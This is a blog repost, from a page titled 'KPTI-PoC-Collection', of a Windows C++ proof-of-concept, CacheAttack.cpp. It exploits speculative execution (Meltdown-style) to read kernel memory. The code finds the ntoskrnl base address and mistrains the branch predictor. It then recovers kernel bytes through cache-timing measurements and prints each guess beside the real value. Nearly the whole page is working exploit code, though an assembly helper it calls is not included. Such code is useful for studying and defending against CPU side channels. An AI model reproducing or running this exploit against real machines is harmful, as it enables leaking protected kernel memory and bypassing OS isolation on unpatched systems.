1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
// CacheAttack.cpp : Defines the entry point for the console application. // by @pwnallthethings #include "stdafx.h" #include <Windows.h> EXTERN_C_START void _run_attempt(); DWORD64 pointers[4096 / 2]; DWORD64* speculative; BYTE* L2_cache_clear; DWORD64 times[256]; EXTERN_C_END typedef NTSTATUS (WINAPI *pNtQuerySystemInformation)( _In_ DWORD SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); typedef NTSTATUS(WINAPI *pNtYieldProcessor)( ); pNtQuerySystemInformation NtQuerySystemInformation; pNtYieldProcessor NtYieldProcessor; #define SystemModuleInformation 11 #pragma pack(push, 8) typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct { ULONG ModulesCount; RTL_PROCESS_MODULE_INFORMATION Modules[100]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; #pragma pack(pop) BYTE* cacheClear; size_t run_attempt_single(BYTE* ptr) { // // Set up the loop. The point is to have a big loop that the branch predictor "learns" to take // followed by a bad speculation on iteration 1000. // for (size_t i = 0; i < ARRAYSIZE(pointers); i++) { pointers[i] = (DWORD64)&pointers[0]; speculative[i] = (DWORD64)FALSE; } pointers[1000] = (DWORD64)ptr; speculative[1000] = (DWORD64)TRUE; DWORD64 times_min[256] = { 0 }; memset(times_min, 0xff, sizeof(times_min)); // warm up for (size_t attempt = 0; attempt < 2; attempt++) _run_attempt(); for (size_t attempt = 0; attempt < 5; attempt++) { _run_attempt(); for (size_t i = 0; i < 256; i++) times_min[i] = min(times_min[i], times[i]); } size_t max_idx = 0; for (size_t i = 0; i < 256; i++) { if (times_min[i] > times_min[max_idx]) max_idx = i; } return max_idx; } BYTE* value; int main() { int cpuinfo[4]; __cpuidex(cpuinfo, 0, 0); char* cpuName = (char*)&cpuinfo[1]; value = (BYTE*)VirtualAlloc(0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); *value = 0x1c; speculative = (DWORD64*)(VirtualAlloc(0, 0x10000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE)); L2_cache_clear = (BYTE*)VirtualAlloc(0, 256 * 4096, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE | PAGE_WRITECOMBINE); (*(FARPROC*)&NtQuerySystemInformation) = GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation"); SYSTEM_MODULE_INFORMATION modInfo = { 0 }; DWORD dw; NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, &modInfo, sizeof(modInfo), &dw); void* ntoskrnlBase = (void*)modInfo.Modules[0].ImageBase; size_t ntoskrnlSize = modInfo.Modules[0].ImageSize; cacheClear = (BYTE*)VirtualAlloc((void*)0x1000000, 0x10000, MEM_COMMIT | MEM_RESERVE | MEM_LARGE_PAGES, PAGE_READWRITE); BYTE* hMod = (BYTE*)(LoadLibraryExW(L"ntoskrnl.exe", NULL, LOAD_LIBRARY_AS_IMAGE_RESOURCE)) - 2; IMAGE_DOS_HEADER* imgDos = (IMAGE_DOS_HEADER*)(hMod); IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(hMod + imgDos->e_lfanew); size_t i = 0x1000; while(TRUE) { BYTE* addr = (BYTE*)ntoskrnlBase; size_t guess = run_attempt_single(&addr[i]); printf("0x%02x: guess: 0x%02x, real:0x%02x\n", i, guess, hMod[i]); i++; } return 0; } |
转载请注明: 转载自Legend‘s BLog
本文链接地址: KPTI-PoC-Collection
未经允许不得转载:Legend‘s BLog » KPTI-PoC-Collection
发表评论